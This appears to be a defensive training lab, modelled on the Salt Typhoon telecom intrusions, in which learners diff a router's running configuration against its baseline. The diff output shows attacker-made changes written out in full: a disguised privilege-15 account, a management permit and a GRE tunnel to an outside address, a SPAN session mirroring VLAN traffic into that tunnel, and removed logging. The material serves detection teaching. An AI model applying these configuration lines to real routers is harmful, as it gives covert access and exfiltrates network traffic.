Unit 11: Hardening network devices · Lesson 1 of 4 · 22 min
Case file: a router that changed overnight
Compare core-rtr1's running config with its approved baseline and read every difference like an investigator.
case file
Salt Typhoon Telecom Intrusions
Multiple telecommunications providers · 2024
In November 2024 the FBI and CISA confirmed a broad PRC-affiliated espionage campaign that breached multiple US telecommunications companies, stealing call records, accessing communications of a limited number of people, and copying information tied to court-ordered law enforcement requests. An August 2025 joint advisory from 13 countries said the group, known as Salt Typhoon, had targeted more than 600 organizations in 80 countries since at least 2019. The actors exploited known vulnerabilities in edge devices and modified routers for long-term access.
What went wrong
Internet-facing routers and edge devices left unpatched against known CVEs (Cisco IOS XE, Ivanti, Palo Alto PAN-OS), with weak monitoring of router configuration changes.
What would have stopped it
- Patch known-exploited vulnerabilities on routers, firewalls and VPNs quickly, and disable unused services such as Smart Install and web management interfaces.
- Isolate management planes and restrict device administration to dedicated networks.
- Apply zero-trust principles and strong authentication to device administration.
What defenders could have seen
- Unexpected router configuration changes (ACLs, tunnels, new local accounts) compared with a baseline.
- Device management access from unusual source addresses.
- Traffic mirroring or packet capture enabled without a change ticket.
mission
- You are
- The network security engineer on the core team.
- Situation
- Every router has an approved baseline saved after each change. core-rtr1's baseline and its current running config are in
~/devices/core-rtr1. This lab is modelled on the Salt Typhoon telecom intrusions, where attackers modified routers for long-term access. - Goal
- Find every difference and decide which ones an attacker would make.
- Hand in
- The list of changes, what each one gives an attacker and the response.
The blueprint and the building
Diff the configs
diff prints lines only in the baseline with < and lines only in the running config with >.
diff core-rtr1/baseline.cfg core-rtr1/running.cfg
3a4
> username cisco-svc privilege 15 secret 9 $9$Zr8mPq4c$Hd7t
10a12
> permit 198.51.100.143
20c22,29
< logging host 10.99.0.20
---
> interface Tunnel77
> ip address 172.31.77.1 255.255.255.252
> tunnel source GigabitEthernet0/0
> tunnel destination 198.51.100.143
> !
> monitor session 3 source vlan 20
> monitor session 3 destination interface Tunnel77
> !
you should see A new privileged user, a new address allowed to manage the router, a tunnel to that same address, a traffic mirror into the tunnel, and remote logging removed.
Count the admin users
Every privileged account on a router should match a named person or a documented service.
grep -c '^username' core-rtr1/running.cfg 2 grep '^username' core-rtr1/running.cfg | cut -d' ' -f2 netops cisco-svc
you should see Two privileged users. cisco-svc is not in the baseline.
defender tip Attackers often pick names that look like vendor or service accounts. A name that sounds official is not evidence that it is.
What each change gives an attacker
- monitor session into Tunnel77a copy of all VLAN 20 traffic sent outside
- Tunnel77 to 198.51.100.143a private path out of the network
- permit 198.51.100.143 in MGMTmanagement access from the internet
- username cisco-svc privilege 15a way back in after passwords change
- logging host removedno copy of what happens next
Confirm remote logging was removed
grep -c counts matches per file.
grep -c 'logging host' core-rtr1/baseline.cfg core-rtr1/running.cfg
core-rtr1/baseline.cfg:1
core-rtr1/running.cfg:0
you should see The baseline sends logs to 10.99.0.20; the running config no longer does.
defender tip Alert when a device stops sending logs, the same way you would for a silent sensor.
Read the tunnel
Tunnels to unknown addresses carry traffic around your firewalls.
grep -A3 'interface Tunnel77' core-rtr1/running.cfg
interface Tunnel77
ip address 172.31.77.1 255.255.255.252
tunnel source GigabitEthernet0/0
tunnel destination 198.51.100.143
--
monitor session 3 destination interface Tunnel77
!
logging trap informational
ntp server 10.99.0.21
you should see Tunnel77 runs from the internet-facing interface to 198.51.100.143.
What a defender takes away
- 1Keep an approved baseline for every device and diff it daily.
- 2Traffic mirroring and new tunnels without a change ticket are critical alerts.
- 3Removed logging is itself evidence.
Questions
0 of 3 solved
Answer each one from what you find on your lab machine.